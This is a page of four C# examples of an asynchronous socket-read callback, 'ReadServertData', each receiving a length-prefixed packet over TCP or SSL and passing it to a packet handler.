Exemplo n.º 1
0
 public void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!ClientSocket.IsConnected || !IsConnected)
         {
             IsConnected = false;
             Dispose();
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             Dispose();
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             Dispose();
             return;
         }
     }
     catch
     {
         IsConnected = false;
         Dispose();
         return;
     }
 }
Exemplo n.º 2
0
 public static void ReadServertData(IAsyncResult ar)
 {
     try
     {
         if (!TcpClient.Connected || !IsConnected)
         {
             IsConnected = false;
             return;
         }
         int recevied = SslClient.EndRead(ar);
         if (recevied > 0)
         {
             MS.Write(Buffer, 0, recevied);
             if (MS.Length == 4)
             {
                 Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                 Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes  ///");
                 MS.Dispose();
                 MS = new MemoryStream();
                 if (Buffersize > 0)
                 {
                     Buffer = new byte[Buffersize];
                     while (MS.Length != Buffersize)
                     {
                         int rc = SslClient.Read(Buffer, 0, Buffer.Length);
                         if (rc == 0)
                         {
                             IsConnected = false;
                             return;
                         }
                         MS.Write(Buffer, 0, rc);
                         Buffer = new byte[Buffersize - MS.Length];
                     }
                     if (MS.Length == Buffersize)
                     {
                         Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
                         thread.Start(MS.ToArray());
                         Buffer = new byte[4];
                         MS.Dispose();
                         MS = new MemoryStream();
                     }
                 }
             }
             SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
         }
         else
         {
             IsConnected = false;
             return;
         }
     }
     catch
     {
         IsConnected = false;
         return;
     }
 }
Exemplo n.º 3
0
        public static void ReadServertData(IAsyncResult Iar)
        {
            try
            {
                if (!Client.Connected)
                {
                    Connected = false;
                    return;
                }

                int Recevied = Client.EndReceive(Iar);
                if (Recevied > 0)
                {
                    if (BufferRecevied == false)
                    {
                        MS.Write(Buffer, 0, Recevied);
                        Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
                        Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes  ///");
                        MS.Dispose();
                        MS = new MemoryStream();
                        if (Buffersize > 0)
                        {
                            Buffer         = new byte[Buffersize];
                            BufferRecevied = true;
                        }
                    }
                    else
                    {
                        MS.Write(Buffer, 0, Recevied);
                        if (MS.Length == Buffersize)
                        {
                            ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
                            Buffer = new byte[4];
                            MS.Dispose();
                            MS             = new MemoryStream();
                            BufferRecevied = false;
                        }
                        else
                        {
                            Buffer = new byte[Buffersize - MS.Length];
                        }
                    }
                    Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
                }
                else
                {
                    Connected = false;
                    return;
                }
            }
            catch
            {
                Connected = false;
                return;
            }
        }
Exemplo n.º 4
0
        /// get the length of the buffer by reading byte by byte [1]
        /// until we get the full size.
        public static void ReadServertData(IAsyncResult ar)
        {
            try
            {
                if (Client.Connected == false)
                {
                    Reconnect();
                    return;
                }

                int Recevied = Client.EndReceive(ar);

                if (Recevied > 0)
                {
                    if (BufferRecevied == false)
                    {
                        if (Buffer[0] == 0)
                        {
                            Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
                            Debug.WriteLine("///  Buffersize: " + Buffersize.ToString() + "Bytes  ///");
                            MS.Dispose();
                            MS = new MemoryStream();
                            if (Buffersize > 0)
                            {
                                Buffer         = new byte[Buffersize - 1];
                                BufferRecevied = true;
                            }
                        }
                        else
                        {
                            MS.Write(Buffer, 0, Buffer.Length);
                        }
                    }
                    else
                    {
                        MS.Write(Buffer, 0, Recevied);
                        if (MS.Length == Buffersize)
                        {
                            ThreadPool.QueueUserWorkItem(HandlePacket.Read, MS.ToArray());
                            MS.Dispose();
                            MS             = new MemoryStream();
                            Buffer         = new byte[1];
                            Buffersize     = 0;
                            BufferRecevied = false;
                        }
                        else
                        {
                            Buffer = new byte[Buffersize - MS.Length];
                        }
                    }
                    Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
                }
                else
                {
                    Reconnect();
                }
            }
            catch
            {
                Reconnect();
            }
        }